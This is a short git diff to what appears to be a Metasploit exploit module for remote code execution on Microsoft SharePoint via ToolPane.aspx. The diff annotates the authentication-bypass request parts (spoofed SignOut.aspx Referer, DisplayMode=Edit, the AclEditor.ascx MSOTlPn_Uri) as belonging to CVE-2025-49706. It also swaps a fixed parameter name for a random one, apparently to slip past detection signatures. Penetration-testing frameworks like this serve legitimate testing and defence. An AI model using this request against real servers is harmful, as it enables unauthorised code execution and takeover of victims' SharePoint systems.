diff --git a/modules/exploits/windows/http/sharepoint_toolpane_rce.rb b/modules/exploits/windows/http/sharepoint_toolpane_rce.rb index 4224defbbf..acb5d3d8a5 100644 --- a/modules/exploits/windows/http/sharepoint_toolpane_rce.rb +++ b/modules/exploits/windows/http/sharepoint_toolpane_rce.rb @@ -299,14 +299,14 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { - 'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') + 'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706 }, 'vars_get' => { - 'DisplayMode' => 'Edit', - 'a' => '/ToolPane.aspx' + 'DisplayMode' => 'Edit', # This is part of CVE-2025-49706 + Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706 }, 'vars_post' => { - 'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), + 'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706 'MSOTlPn_DWP' => xml } )